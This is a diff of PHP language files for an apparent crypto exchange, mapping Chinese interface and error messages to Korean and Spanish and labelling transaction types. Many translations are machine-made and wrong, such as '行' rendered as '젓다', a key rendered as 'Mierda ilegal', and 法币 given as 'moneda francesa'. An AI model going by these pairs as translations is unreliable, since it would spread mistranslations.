'该币种不支持购买保险' => '이 통화는 보험 구매를 지원하지 않습니다',
|
||||
'错误的金额!' => '금액이 잘못되었습니다!',
|
||||
'不存在的险种!' => '존재하지 않는 유형의 보험!',
|
||||
'不存在的币种!' => '존재하지 않는 화폐!',
|
||||
'已经购买了该币种的险种!' => '이미 이 통화에 대한 보험에 가입했습니다!',
|
||||
'可用余额不足,无法购买!' => '사용 가능한 잔액이 구매하기에 충분하지 않습니다!',
|
||||
'购买成功!' => '구매 성공!',
|
||||
'未找到该保险' => '보험을 찾을 수 없습니다',
|
||||
'该保险正在处理中' => '보험처리중입니다',
|
||||
'申请索赔成功!' => '클레임 신청 성공!',
|
||||
'超出今日索赔次数!' => '오늘 청구 건수 초과!',
|
||||
'存在未平仓订单' => '오픈 주문이 있습니다',
|
||||
'受保资产不符合可申请索赔条件1' => '보험 자산이 청구 조건1을 충족하지 않습니다',
|
||||
'受保资产不符合可申请索赔条件2' => '보험 자산이 청구 조건2을 충족하지 않습니다',
|
||||
'未知受保金额去向状态' => '피보험금액을 알 수 없는 위치 상태',
|
||||
'处理成功!' => '성공적으로 처리되었습니다!',
|
||||
'该保险已失效' => '보험이 만료되었습니다',
|
||||
'该保险正在索赔处理中' => '보험금 청구 처리 중',
|
||||
'解约失败,存在未平仓订单' => '취소 실패, 미결 주문이 있습니다',
|
||||
'保险解约,赔付金额' => '보험해지, 보상금액',
|
||||
'解约成功!' => '계약 해지 성공!',
|
||||
'内容不能为空' => '내용은 비워둘 수 없습니다',
|
||||
'暂无数据' => '데이터 없음',
|
||||
'文件大小超出' => '파일 크기 초과',
|
||||
'文件类型非法' => '잘못된 파일 형식',
|
||||
'文件类型不对' => '잘못된 파일 형식',
|
||||
'该文件已存在' => '파일이 이미 있습니다',
|
||||
'币未找到' => '코인을 찾을 수 없습니다',
|
||||
'转账账户不存在!' => '이체 계좌가 존재하지 않습니다!',
|
||||
'不能给自己转账!' => '자신에게 송금할 수 없습니다!',
|
||||
'转账数量大于剩余数量!' => '이체 금액이 잔액보다 많습니다!',
|
||||
'余额不足!' => '잔액 불충분!',
|
||||
'通证转账成功!' => '토큰 전송 성공!',
|
||||
'请输入支付密码' => '결제 비밀번호를 입력해주세요',
|
||||
'无需升级' => '업그레이드할 필요 없음',
|
||||
'暂无钱包' => '지갑 없음',
|
||||
'升级成功' => '업데이트 성공',
|
||||
'该地址别人已经绑定过了' => '이 주소는 이미 다른 사람에 의해 바인딩되었습니다',
|
||||
'请把参数填写完整' => '매개변수를 완전히 입력하세요',
|
||||
'用户已存在' => '사용자가 이미 존재합니다',
|
||||
'推荐用户不存在' => '추천 사용자가 존재하지 않습니다',
|
||||
'转入账户不能为空' => '이체 계정은 비워둘 수 없습니다',
|
||||
'密码不能为空' => '비밀번호는 비워둘 수 없습니다',
|
||||
'转入数量不能为空' => '전송된 수량은 비워둘 수 없습니다',
|
||||
'用户密码错误' => '사용자 비밀번호가 잘못되었습니다',
|
||||
'转入成功' => '성공적으로 전송됨',
|
||||
'密码修改成功' => '비밀번호 재설정 완료',
|
||||
'请输入正确的交易数量或价格' => '정확한 거래 수량 또는 가격을 입력하세요',
|
||||
'用户钱包不存在' => '사용자 지갑이 존재하지 않습니다',
|
||||
'用户不存在' => '사용자가 존재하지 않습니다',
|
||||
'未找到该发布用户' => '게시 사용자를 찾을 수 없습니다',
|
||||
'检测有未完成交易,请完成后再来!' => '미완료 거래 확인, 완료 후 돌아와주세요!',
|
||||
'您的余额不足' => '잔액이 부족합니다',
|
||||
'用户信息不正确' => '사용자 정보가 잘못되었습니다',
|
||||
'对不起,这不是您的发布信息' => '죄송합니다, 이것은 귀하의 게시물이 아닙니다',
|
||||
'对不起,您无权撤销此记录' => '죄송합니다. 이 레코드를 취소할 권한이 없습니다',
|
||||
'对不起,您的账户冻结资金不足' => '죄송합니다. 계정에 동결된 자금이 부족합니다',
|
||||
'取消次数已超出' => '취소 횟수를 초과했습니다.',
|
||||
'次,明天再发布' => '빈도,내일 출시',
|
||||
'错误位于第' => '오류는 다음과 같습니다.엔',
|
||||
'行' => '젓다',
|
||||
'您今天的取消次数已超出' => '오늘 취소 횟수를 초과했습니다',
|
||||
'次' => '빈도',
|
||||
'在' => '있다',
|
||||
'购买法币成功,增加法币余额' => '법정 화폐의 성공적인 구매, 법정 화폐의 잔고 증가',
|
||||
'转账数量不能小于' => '이체 금액은 다음보다 작을 수 없습니다',
|
||||
'转账数量不能大于' => '이체 금액은 다음보다 클 수 없습니다.',
|
||||
'解约失败:' => '취소 실패:',
|
||||
'操作成功,请联系商家确认订单' => '작업이 성공적으로 완료되었습니다. 판매자에게 문의,하여 주문을 확인하십시오',
|
||||
'您还没有通过实名认证' => '실명인증을 통과하지 못하셨습니다',
|
||||
'您还没有设置收款信息' => '결제 정보를 설정하지 않았습니다',
|
||||
'撤单失败:' => '주문 취소 실패:',
|
||||
'扣除保证金失败:' => '마진 차감 실패:',
|
||||
'扣除手续费失败:' => '수수료 공제 실패:',
|
||||
'手数不能低于' => '손의 수는 다음보다 작을 수 없습니다',
|
||||
'手数不能高于' => '손의 수는 다음보다 높을 수 없습니다',
|
||||
'余额不足,不能小于' => '남은 자금이 부족하여 다음보다 적을 수 없습니다',
|
||||
'(手续费:' => '(취급 수수료:',
|
||||
'此法币' => '이 법정화폐',
|
||||
'商家名称已存在' => '비즈니스 이름이 이미 존재합니다.',
|
||||
'请实名认证' => '실명인증 부탁드립니다',
|
||||
'项目不存在' => '항목이 존재하지 않습니다',
|
||||
'最少存入数量为:' => '최소 입금액은:',
|
||||
'当前等级禁止购买30S产品,请联系客服升级' => '현재 수준은 30S 제품의 구매를 금지합니다. 업그레이드하려면 고객 서비스에 문의하십시오.',
|
||||
'请登录' => '로그인 해주세요',
|
||||
'毁约成功' => '계약 파기 성공',
|
||||
'旧密码错误' => '이전 비밀번호 오류',
|
||||
'您的实名认证未通过' => '실명인증 실패',
|
||||
'下单数量必须是整数' => '주문 수량은 정수여야 합니다.',
|
||||
'下单数量必须是' => '주문 수량은 다음과 같아야 합니다.:micro_min 정수배',
|
||||
'最大下单数量不能超过' => '최대 주문 수는 초과할 수 없습니다.: :micro_max',
|
||||
'最小下单数量不能小于' => '최소 주문 수량은 다음보다 작을 수 없습니다.: :micro_min',
|
||||
'申请成功' => '성공적인 신청',
|
||||
'认证成功,请等待审核' => '성공적으로 제출되었습니다. 검토를 기다리십시오.',
|
||||
'操作失败:您的信用分不足' => '작업 실패: 신용 점수가 부족합니다 source',
|
||||
'操作失败:您有未平仓的交易,操作禁止' => '작업 실패: 열린 트랜잭션이 있으므로 작업이 금지됩니다.',
|
||||
'支付通道维护,请更换支付方式' => '결제 채널 유지, 결제 수단 변경 부탁드립니다.',
|
||||
'您好,您的账户已被锁定,详情请咨询客服。' => "안녕하세요, 귀하의 계정이 잠겼습니다. 자세한 내용은 고객 서비스에 문의하십시오.",
|
||||
'您好,您的资金已被锁定,详情请咨询客服。' => "안녕하세요, 귀하의 자금이 잠겼습니다. 자세한 내용은 고객 서비스에 문의하십시오.",
|
||||
);
|
||||
|
||||
@@ -0,0 +1,3 @@
|
||||
{
|
||||
"最小下单数量不能小于": "La cantidad mínima de pedido no puede ser inferior a :micro_min"
|
||||
}
|
||||
@@ -0,0 +1,70 @@
|
||||
<?php
|
||||
return [
|
||||
'is_lock' => 'Bloquear cuenta',
|
||||
'unknown' => 'tipo desconocido',
|
||||
'1' => 'Ajuste entre bastidores del saldo de la cuenta del fondo',
|
||||
'2' => 'Saldo de bloqueo de cuenta del fondo de ajuste backstage',
|
||||
'3' => 'Ajuste entre bastidores del saldo de la cuenta de divisas',
|
||||
'4' => 'Cuenta de moneda de ajuste backstage',
|
||||
'5' => 'Saldo de cuenta de contrato de ajuste de fondo',
|
||||
'6' => 'Cuenta de contrato de ajuste de fondo',
|
||||
'7' => 'Saldo de cuenta de opción de ajuste de fondo',
|
||||
'8' => 'Cuenta de opción de ajuste entre bastidores',
|
||||
'9' => 'La cuenta del fondo se transfiere fuera de la cuenta comercial',
|
||||
'10' => 'Cuenta de transacción a cuenta de capital',
|
||||
'11' => 'Transferencia de fondos',
|
||||
'12' => 'Transferencia de fondos',
|
||||
'13' => 'Transferir de cuenta de contrato a cuenta comercial',
|
||||
'14' => 'Transferir de cuenta de contrato a cuenta comercial',
|
||||
'15' => 'Cuenta de transacción a cuenta de contrato',
|
||||
'16' => 'Transferencia de cuenta de contrato fuera de cuenta comercial',
|
||||
'33' => 'Invitación a devolución de comisión',
|
||||
'99' => 'Retiro de usuario',
|
||||
'102' => 'Cancelar transacción de compra',
|
||||
'103' => 'Cancelar transacción de venta',
|
||||
'65' => 'Saldo de transacción de fondos transferidos',
|
||||
'66' => 'Saldo de transacción de la transacción de divisas',
|
||||
'67' => 'Transferencia de saldo de transacción de contrato',
|
||||
'206' => 'Transferir a contrato y reducir fondos',
|
||||
'207' => 'Se transfieren fondos al contrato, se incrementa el contrato',
|
||||
'208' => 'Transferencia de fondos de contrato aprobada, contrato reducido',
|
||||
'209' => 'Contrato traspaso de fondos aprobado, ampliación de capital',
|
||||
'210' => 'Transferir fondos del contrato, congelar el valor de conversión del contrato',
|
||||
'211' => 'Transferir fondos del contrato, la revisión no se descongela',
|
||||
'107' => 'Intercambio de fichas por USDT',
|
||||
'37' => 'intercambio de fichas, aumento de moneda del contrato',
|
||||
'212' => 'Liberación de pérdidas y ganancias históricas, aumentar la moneda del contrato',
|
||||
'105' => 'Ficha de recompensa',
|
||||
'106' => 'Recompensa moneda digital',
|
||||
'108' => 'Ajustar paso',
|
||||
'38' => 'Solicitar convertirse en comerciante para deducir USDT',
|
||||
'39' => 'Intercambio de activos, reducir la tenencia de fondos en divisas',
|
||||
'40' => 'Intercambio de activos, aumentar los fondos USDT',
|
||||
'41' => 'Activar JEFE',
|
||||
'42' => 'Minería bloqueada',
|
||||
'43' => 'Transferir el saldo de la cuenta BOSS',
|
||||
'44' => 'Bloquear retorno',
|
||||
'45' => 'Registro de fondos DeFi',
|
||||
'51' => 'Transacción de monedas',
|
||||
'50' => 'Transacción de monedas congelada',
|
||||
'100' => 'Retiro exitoso',
|
||||
'101' => 'Retiro fallido',
|
||||
'700' => 'Orden IEO',
|
||||
'701' => 'Aumento de transferencia de monedas',
|
||||
'702' => 'Reducción de transferencia de monedas',
|
||||
'703' => 'Tarifa de transferencia de monedas',
|
||||
'704' => 'Minería bloqueada',
|
||||
'705' => 'Renta minera',
|
||||
'706' => 'El número de pedidos no puede ser inferior a',
|
||||
'1000' => 'Comprar gestión de riqueza de doble moneda',
|
||||
'1001' => 'Liquidación financiera en dos divisas',
|
||||
'707' => 'Seguir la compra - deducir margen',
|
||||
'708' => 'Seguir la compra - deducir la tarifa de gestión',
|
||||
'1002' => 'Comprar NFT',
|
||||
'1003' => 'La subasta descontará el depósito',
|
||||
'1005' => 'Pago de orden de subasta NFT',
|
||||
'1004' => 'Depósito de reembolso de oferta',
|
||||
'32' => 'Congelación de ruptura',
|
||||
'35' => 'Tarifa de transacción',
|
||||
'30' => 'Transacciones de contrato deducen margen',
|
||||
];
|
||||
@@ -0,0 +1,328 @@
|
||||
<?php
|
||||
//西班牙语
|
||||
return array(
|
||||
'请登录' => 'Por favor, registrese',
|
||||
"退出登录成功" => "Inicio de sesión de salida exitoso",
|
||||
"电话不能为空" => "El teléfono no puede estar vacío",
|
||||
"账号已存在" => "La cuenta ya existe",
|
||||
"两次密码不一致" => "Dos contraseñas inconsistentes",
|
||||
"用户未找到" => "Usuario no encontrado",
|
||||
'钱包已添加,请勿重复添加' => 'Se agregó la billetera, no la agregue repetidamente',
|
||||
"勿重复添加" => "Cartera añadida",
|
||||
"添加成功" => "Añadir con éxito",
|
||||
"参数错误" => "Error de parámetro",
|
||||
"支付密码错误" => "Error de contraseña de pago",
|
||||
"余额不足" => "Saldo insuficiente",
|
||||
"转账至交易所钱包" => "Transferencia a bolsa",
|
||||
"转账成功" => "Transferencia exitosa",
|
||||
"找不到用户" => "Usuario no encontrado",
|
||||
"用户钱包未找到" => "Cartera de usuario no encontrada",
|
||||
"接收来自交易所的转账" => "Recepción de transferencias de la bolsa",
|
||||
"您还没有钱包" => "Aún no tienes cartera.",
|
||||
"请输入正确的值" => "Introduzca el valor correcto",
|
||||
"地址输入有误" => "Error al introducir la dirección",
|
||||
"地址输入有误1" => "Error al introducir la dirección 1",
|
||||
"不能转账给自己" => "No se puede transferir a sí mismo",
|
||||
"暂时还没有添加币种" => "No se ha añadido moneda",
|
||||
"此币种不存在" => "Esta moneda no existe",
|
||||
"已经有此提币地址" => "La Dirección de la moneda ya está disponible",
|
||||
"添加提币地址成功" => "Añadir la dirección de la moneda con éxito",
|
||||
"此提币地址不存在" => "Esta dirección no existe",
|
||||
"您没有权限删除此地址" => "No tiene permiso para borrar esta dirección",
|
||||
"删除提币地址成功" => "Borrar la dirección de la moneda con éxito",
|
||||
"输入的金额不能为负数" => "La cantidad introducida no puede ser negativa",
|
||||
'您有正在进行中的杆杠交易,不能进行此操作' => 'Tiene una operación apalancada en curso y no puede realizar esta operación',
|
||||
"能进行此操作" => "Tienes una barra en progreso",
|
||||
"钱包不存在" => "La cartera no existe",
|
||||
"划转成功" => "Transferencia exitosa",
|
||||
"币种不存在" => "Moneda inexistente",
|
||||
"您还没有添加提币地址" => "Aún no ha añadido la dirección de la moneda",
|
||||
"数量不能少于最小值" => "La cantidad no puede ser inferior al mínimo",
|
||||
"提币申请已成功,等待审核" => "La solicitud de presentación de moneda ha tenido éxito y está pendiente de aprobación.",
|
||||
"类型错误" => "Error de tipo",
|
||||
"钱包未找到" => "Cartera no encontrada",
|
||||
"数量不能小于等于0" => "La cantidad no puede ser inferior o igual a 0",
|
||||
"价格不能小于等于0" => "El precio no puede ser inferior o igual a 0",
|
||||
"参数错误哦" => "Error de parámetro",
|
||||
"数量不足" => "Cantidad insuficiente",
|
||||
"操作成功" => "Operación exitosa",
|
||||
"真实姓名必须填写" => "Debe rellenarse el nombre real",
|
||||
"收款信息至少选填一项" => "Rellene al menos un elemento de la información de recogida",
|
||||
"保存成功" => "Guardar con éxito",
|
||||
"密码错误" => "Error de contraseña",
|
||||
"当前行情小于等于零!" => "¡El precio actual es inferior o igual a cero!",
|
||||
"参数错误!" => "¡Error de argumento!",
|
||||
"兑换数量大于持有资产!" => "¡La cantidad de cambio es mayor que los activos mantenidos!",
|
||||
"资产兑换成功!" => "¡Cambio de activos exitoso!",
|
||||
"兑换数量大于剩余数量!" => "¡La cantidad de cambio es mayor que la cantidad restante!",
|
||||
"通证兑换成功!" => "¡Canje exitoso!",
|
||||
"必填项信息不完整" => "Información incompleta requerida",
|
||||
"两次输入密码不一致" => "Dos contraseñas de entrada inconsistentes",
|
||||
"此用户不存在" => "Este usuario no existe",
|
||||
"此交易账号已经设置" => "Esta cuenta de transacción ya está configurada",
|
||||
"此账号已经存在" => "Esta cuenta ya existe",
|
||||
"交易账号设置成功" => "Cuenta de transacción establecida con éxito",
|
||||
"验证码错误" => "Error de código de verificación",
|
||||
"手机绑定成功" => "Unión exitosa del teléfono móvil",
|
||||
"邮箱绑定成功" => "Buzón de correo enlazado con éxito",
|
||||
"手势密码至少连接6个点" => "Contraseña gestual que conecta al menos 6 puntos",
|
||||
"两次手势密码不相同" => "Dos gestos diferentes",
|
||||
"手势密码添加成功" => "Contraseña gestual añadida con éxito",
|
||||
"取消手势密码成功" => "Contraseña de gesto cancelada con éxito",
|
||||
"密码只能在6-16位之间" => "La contraseña sólo puede estar entre 6 y 16 bits",
|
||||
"交易密码设置成功" => "Contraseña de transacción establecida con éxito",
|
||||
"暂时还没有邀请排行榜,快去邀请吧" => "Aún no he invitado a la lista de clasificación.",
|
||||
"会员未找到" => "Miembro no encontrado",
|
||||
"你已绑定,不可更改!" => "¡Estás atado, no puedes cambiarlo!",
|
||||
'该地址已被绑定,请重新输入' => 'La dirección ha sido enlazada, por favor vuelva a ingresar',
|
||||
"重新输入" => "La Dirección está atada",
|
||||
"绑定成功!" => "¡Unión exitosa!",
|
||||
"请提交完整的信息" => "Por favor, envíe información completa",
|
||||
"请输入合法的身份证号码" => "Introduzca un número de identificación válido",
|
||||
"该身份证号已实名认证过!" => "¡Este número de identificación ha sido autenticado por su nombre real!",
|
||||
"您已经申请过了" => "Has solicitado",
|
||||
"提交成功,等待审核" => "Submit Successful, waiting for Audit",
|
||||
"您还没有交易记录" => "Aún no tienes una transacción.",
|
||||
'非法操作,不能撤回非自己发布的信息' => 'Operación ilegal, no se puede retirar la información no divulgada por uno mismo',
|
||||
"能撤回非自己发布的信息" => "Mierda ilegal",
|
||||
"非法操作:(" => "Operación ilegal:",
|
||||
"取销卖出交易失败" => "Venta fallida",
|
||||
"取消成功" => "Cancelación exitosa",
|
||||
"非法操作" => "Operación ilegal",
|
||||
"数据未找到" => "Datos no encontrados",
|
||||
"请先添加钱包" => "Por favor, agregue su cartera primero",
|
||||
"价格和数量必须大于0" => "El precio y la cantidad deben ser superiores a 0",
|
||||
"您的币不足" => "Su moneda es insuficiente",
|
||||
"您的冻结资金异常,禁止挂卖" => "Su dinero congelado es anormal, no se puede vender",
|
||||
"你今天的交易额度已达到上限!" => "¡Su cuota de comercio de hoy ha alcanzado el límite máximo!",
|
||||
"系统配置错误,请联系系统管理员" => "Error de configuración del sistema, póngase en contacto con el Administrador del sistema",
|
||||
"手机号不能为空" => "El número de teléfono no puede estar vacío",
|
||||
"发送成功" => "Enviar con éxito",
|
||||
"账号错误" => "Error de cuenta",
|
||||
"请填写手机号" => "Por favor, rellene el número de teléfono móvil",
|
||||
"参数不全" => "Parámetro incompleto",
|
||||
'服务器空间不支持,请确认支持curl或者fsocket,联系您的空间商解决或者更换空间!' => 'El espacio del servidor no es compatible, confirme que curl o fsocket son compatibles y comuníquese con su proveedor de espacio para resolver o reemplazar el espacio.',
|
||||
"确认支持curl或者fsocket,联系您的空间商解决或者更换空间!" => "Espacio del servidor no soportado",
|
||||
"帐户已过期" => "Cuenta caducada",
|
||||
"IP地址限制" => "Limitación de la dirección IP",
|
||||
"账号被禁用" => "Cuenta desactivada",
|
||||
"内容含有敏感词" => "El contenido contiene palabras sensibles",
|
||||
"ip参数不正确" => "Parámetros IP incorrectos",
|
||||
"邮箱不能为空" => "El buzón de correo no puede estar vacío",
|
||||
"操作错误" => "Error de operación",
|
||||
"无此币种" => "Sin esta moneda",
|
||||
"该币不是法币" => "Esta moneda no es francesa.",
|
||||
"用户名不能为空" => "El nombre de usuario no puede estar vacío",
|
||||
"名称不能为空" => "El nombre no puede estar vacío",
|
||||
"资产不能为空" => "El activo no puede estar vacío",
|
||||
"找不到此交易账号的用户" => "Usuario no encontrado para esta cuenta de transacción",
|
||||
"此用户还未通过实名认证" => "Este usuario no ha sido autenticado con un nombre real",
|
||||
"此用户已是此法币商家" => "Este usuario ya es el comerciante de moneda francesa",
|
||||
"新闻不存在" => "Las noticias no existen",
|
||||
"下单失败:超过最大持仓笔数限制" => "Fallo al realizar el pedido: se superó el límite máximo de posición",
|
||||
"当前未获取到行情" => "No se ha obtenido ninguna cotización",
|
||||
"尚未申购或理赔保险" => "Seguro de reclamaciones pendientes",
|
||||
'申购的保险T+1生效' => 'Entra en vigor el seguro T+1 contratado',
|
||||
"受保资产为零" => "Cero activos asegurados",
|
||||
"受保资产小于等于可下单条件" => "Activos asegurados menores o iguales a las condiciones de orden",
|
||||
"您已超过持仓限制,暂停下单。" => "Ha superado el límite de posición y ha suspendido el pedido.",
|
||||
"未知的险种类型" => "Tipo de seguro desconocido",
|
||||
"超过最大持仓数量限制" => "Exceso del límite máximo de posición",
|
||||
"交易中的订单大于最大挂单数量" => "El pedido en la transacción es mayor que la cantidad máxima de facturación",
|
||||
"请输入账号" => "Por favor, introduzca el número de cuenta",
|
||||
"请输入密码" => "Introduzca la contraseña",
|
||||
"手势密码错误" => "Error de contraseña gestual",
|
||||
"请填写正确的邀请码" => "Por favor, rellene el Código de invitación correcto",
|
||||
"注册成功" => "Registro exitoso",
|
||||
"请输入密码或确认密码" => "Introduzca la contraseña o confirme la contraseña",
|
||||
"输入两次密码不一致" => "Introduzca dos contraseñas inconsistentes",
|
||||
"账号不存在" => "La cuenta no existe",
|
||||
"验证码不正确" => "Código de verificación incorrecto",
|
||||
"修改密码成功" => "Contraseña modificada con éxito",
|
||||
"请输入验证码" => "Introduzca el Código de verificación",
|
||||
"验证成功" => "Validación exitosa",
|
||||
"父级不存在" => "Padre no existe",
|
||||
"请重试" => "Por favor, inténtalo de nuevo.",
|
||||
"参数错误:(" => "Error de argumento:",
|
||||
"缺少参数或传值错误" => "Falta de parámetros o error de transmisión",
|
||||
"指定交易对不存在" => "Especifica que el par de transacciones no existe",
|
||||
"您未开通本交易对的交易功能" => "No ha abierto la función de transacción de este par de transacciones",
|
||||
"手数必须是大于0的整数" => "El número de manos debe ser un entero mayor que 0",
|
||||
"选择倍数不在系统范围" => "Múltiples de selección fuera del alcance del sistema",
|
||||
'您有正在平仓中的交易,暂不能进行买卖' => 'Tiene una transacción que se está cerrando y no se puede negociar por el momento',
|
||||
"不能进行买卖" => "Tienes una entrega en liquidación.",
|
||||
"交易类型错误" => "Error de tipo de transacción",
|
||||
"该功能暂未开放" => "Esta función no está abierta",
|
||||
"限价交易价格必须大于0" => "El precio de transacción limitado debe ser superior a 0",
|
||||
'当前没有获取到行情价格,请稍后重试' => 'Actualmente no hay precio de mercado, inténtalo de nuevo más tarde',
|
||||
"稍后重试" => "No hay precios disponibles actualmente",
|
||||
"限价交易卖出不能低于当前价" => "Las operaciones de precio limitado no pueden venderse por debajo del precio actual",
|
||||
"限价交易买入价格不能高于当前价" => "El precio de compra de una transacción limitada no puede ser superior al precio actual",
|
||||
'钱包未找到,请先添加钱包' => 'Monedero no encontrado, agregue primero el monedero',
|
||||
"先添加钱包" => "Cartera no encontrada",
|
||||
"提交失败" => "Presentación fallida",
|
||||
"提交成功" => "Presentación exitosa",
|
||||
"此功能系统未开放" => "Este sistema funcional no está abierto",
|
||||
"止盈止损价格不能为0" => "El precio de parada no puede ser 0",
|
||||
"找不到该笔交易" => "No se pudo encontrar el trato",
|
||||
"买入(做多)止盈价不能低于开仓价和当前价" => "El precio de compra (largo) no debe ser inferior al precio de apertura y al precio actual.",
|
||||
"买入(做多)止亏价不能高于开仓价和当前价" => "El precio de compra (más largo) no puede ser superior al precio de apertura y al precio actual",
|
||||
"卖出(做空)止盈价不能高于开仓价和当前价" => "El precio de venta (corto) no puede ser superior al precio de apertura y al precio actual",
|
||||
"卖出(做空)止亏价不能低于开仓价和当前价" => "El precio de venta (corto) no puede ser inferior al precio de apertura y al precio actual",
|
||||
"设置成功" => "Configuración exitosa",
|
||||
"设置失败" => "Falló la configuración",
|
||||
"无权操作" => "Operación no autorizada",
|
||||
'交易状态异常,请勿重复提交' => 'El estado de la transacción es anormal, por favor no envíe de nuevo',
|
||||
'平仓失败,请重试' => 'No se ha podido cerrar, inténtalo de nuevo.',
|
||||
"勿重复提交" => "Diferencia en el Estado de las transacciones",
|
||||
"重试" => "Pérdida de cierre",
|
||||
"买入方向传参错误" => "Error de dirección de compra",
|
||||
'提交成功,请等待系统处理' => 'Enviado con éxito, espere a que el sistema lo procese',
|
||||
"未找到需要平仓的交易" => "No se encontró ninguna transacción para cerrar",
|
||||
'交易不存在或已撤单,请刷新后重试' => 'La transacción no existe o el pedido ha sido cancelado, actualice e intente nuevamente',
|
||||
"撤单失败:用户钱包不存在" => "Fallo de cancelación: la cartera del usuario no existe",
|
||||
"撤单失败:变更状态失败" => "Fallo de cancelación: fallo de cambio de Estado",
|
||||
"撤单成功" => "Retirada exitosa",
|
||||
"订单取消成功" => "Orden cancelada con éxito",
|
||||
"请选择需求类型" => "Por favor, seleccione el tipo de requisito",
|
||||
"请选择交易方式" => "Por favor, seleccione el método de transacción",
|
||||
"请填写单价" => "Por favor, rellene el precio unitario",
|
||||
"请填写数量" => "Por favor, rellene la cantidad",
|
||||
"请填写最小交易数量" => "Por favor, rellene el número mínimo de transacciones",
|
||||
"请选择币种" => "Seleccione la moneda",
|
||||
"最小交易数量不能大于总数量" => "La cantidad mínima de transacción no puede ser mayor que la cantidad total",
|
||||
"请填写最大交易量" => "Por favor, rellene el volumen máximo de negociación",
|
||||
"请填写正确的最大交易量" => "Por favor, rellene el volumen máximo de negociación correcto",
|
||||
"对不起,您不是该法币的商家" => "Lo siento, no eres el comerciante de la moneda francesa.",
|
||||
"对不起,您的商家账户不足" => "Lo siento, su cuenta de negocios es insuficiente.",
|
||||
"发布成功" => "Publicado con éxito",
|
||||
"无此商家" => "No hay tal comerciante",
|
||||
"参数错误2" => "Error de parámetro 2",
|
||||
"无此记录" => "Sin este registro",
|
||||
"购买参数错误" => "Error en los parámetros de compra",
|
||||
"请填写购买额" => "Por favor, rellene la cantidad de compra",
|
||||
"购买额请填写数字" => "Por favor, rellene el número de compra",
|
||||
"未完成单子超过3单,请完成后再操作!" => "¡No complete la lista más de 3, por favor complete la operación de nuevo!",
|
||||
"此条交易已完成" => "Esta transacción está completa",
|
||||
"非法提交,数量必须大于0" => "Presentación ilegal, el número debe ser superior a 0",
|
||||
"您低于最低限额" => "Estás por debajo del mínimo",
|
||||
"您高于最高限额" => "Estás por encima del límite máximo",
|
||||
"您高于最大限制数量" => "Usted está por encima del límite máximo",
|
||||
"未找到该商家" => "El comerciante no fue encontrado",
|
||||
"不能操作自己的" => "Incapaz de operar su propio",
|
||||
"您无此钱包账号" => "No tienes esta cuenta de cartera.",
|
||||
"您的钱包已被锁定,请联系管理员" => "Su cartera está bloqueada.",
|
||||
"您的法币余额不足" => "Su saldo en moneda francesa es insuficiente",
|
||||
'您的法币冻结资金异常,请查看您是否有正在进行的挂单' => 'Sus fondos congelados en moneda fiduciaria son anormales, verifique si tiene pedidos pendientes',
|
||||
"您出售数量大于商家剩余数量!" => "¡Usted vende más que el resto del negocio!",
|
||||
"您购买数量大于商家剩余数量!" => "¡La cantidad que compra es mayor que la cantidad restante!",
|
||||
"您不是此币商家" => "No eres un comerciante de esta moneda.",
|
||||
"该订单已操作过,请勿重复操作" => "Este pedido ha sido operado, no repita la operación",
|
||||
"对不起,您无权操作" => "Lo siento, no tienes permiso para operar.",
|
||||
"操作成功,请联系卖家确认" => "Operación exitosa, póngase en contacto con el vendedor para confirmar",
|
||||
"该订单已操作,请勿取消" => "Este pedido está operativo, no lo cancele",
|
||||
"操作成功,订单已取消" => "Operación exitosa, orden cancelada",
|
||||
"对不起您不是商家" => "Lo siento, no eres un hombre de negocios.",
|
||||
"对不起,您不是该商家" => "Lo siento, no eres el hombre de negocios.",
|
||||
"该订单还未付款或已经操作过" => "El pedido no ha sido pagado o ha sido operado",
|
||||
"订单异常" => "Excepción de pedido",
|
||||
"您不能确认该订单" => "No puede confirmar este pedido",
|
||||
"该用户没有此币种钱包" => "El usuario no tiene cartera en esta moneda",
|
||||
"确认成功" => "Confirmar el éxito",
|
||||
"商家不存在" => "El comerciante no existe",
|
||||
"已撤回发布" => "Publicación retirada",
|
||||
"该发布信息下有交易产生无法删除" => "No se puede borrar ninguna transacción generada bajo esta información de publicación",
|
||||
"撤回成功" => "Retirada exitosa",
|
||||
"该发布信息下有交易未完成,不能标记为异常" => "Hay transacciones pendientes bajo esta información de publicación que no pueden ser marcadas como excepciones",
|
||||
"该发布信息无异常" => "No hay excepciones a esta información de publicación",
|
||||
"对不起,您的商家账户冻结资金不足" => "Lo siento, no hay suficiente dinero congelado en su cuenta de negocios.",
|
||||
"处理成功" => "Procesamiento exitoso",
|
||||
"该币种不支持购买保险" => "Esta moneda no admite la compra de seguros",
|
||||
"错误的金额!" => "¡Cantidad incorrecta!",
|
||||
"不存在的险种!" => "¡No hay peligro!",
|
||||
"不存在的币种!" => "¡Moneda inexistente!",
|
||||
"已经购买了该币种的险种!" => "¡Ha comprado el seguro de esta moneda!",
|
||||
"可用余额不足,无法购买!" => "¡El saldo disponible no es suficiente para comprar!",
|
||||
"购买成功!" => "¡Compra exitosa!",
|
||||
"未找到该保险" => "No se encontró el seguro",
|
||||
"该保险正在处理中" => "El seguro está en proceso",
|
||||
"申请索赔成功!" => "¡Solicitud de reclamación exitosa!",
|
||||
"超出今日索赔次数!" => "¡Más reclamaciones hoy!",
|
||||
"存在未平仓订单" => "Hay órdenes abiertas",
|
||||
"受保资产不符合可申请索赔条件1" => "Los bienes asegurados no cumplen las condiciones de reclamación exigibles 1",
|
||||
"受保资产不符合可申请索赔条件2" => "Los bienes asegurados no reúnen las condiciones para presentar reclamaciones 2",
|
||||
"未知受保金额去向状态" => "Estado de destino de la cantidad asegurada desconocida",
|
||||
"处理成功!" => "¡Manejo exitoso!",
|
||||
"该保险已失效" => "El seguro ha caducado",
|
||||
"该保险正在索赔处理中" => "El seguro está tramitando reclamaciones",
|
||||
"解约失败,存在未平仓订单" => "La cancelación falló, hay órdenes abiertas",
|
||||
"保险解约,赔付金额" => "Importe de la indemnización",
|
||||
"解约成功!" => "¡El acuerdo fue cancelado con éxito!",
|
||||
"内容不能为空" => "El contenido no puede estar vacío",
|
||||
"暂无数据" => "Datos no disponibles",
|
||||
"文件大小超出" => "El tamaño del archivo excede",
|
||||
"文件类型非法" => "Tipo de archivo no válido",
|
||||
"文件类型不对" => "Tipo de archivo incorrecto",
|
||||
"该文件已存在" => "El archivo ya existe",
|
||||
"币未找到" => "Moneda no encontrada",
|
||||
"转账账户不存在!" => "¡La cuenta de transferencia no existe!",
|
||||
"不能给自己转账!" => "¡No puedo transferirme dinero!",
|
||||
"转账数量大于剩余数量!" => "¡La cantidad transferida es mayor que la cantidad restante!",
|
||||
"余额不足!" => "¡Saldo insuficiente!",
|
||||
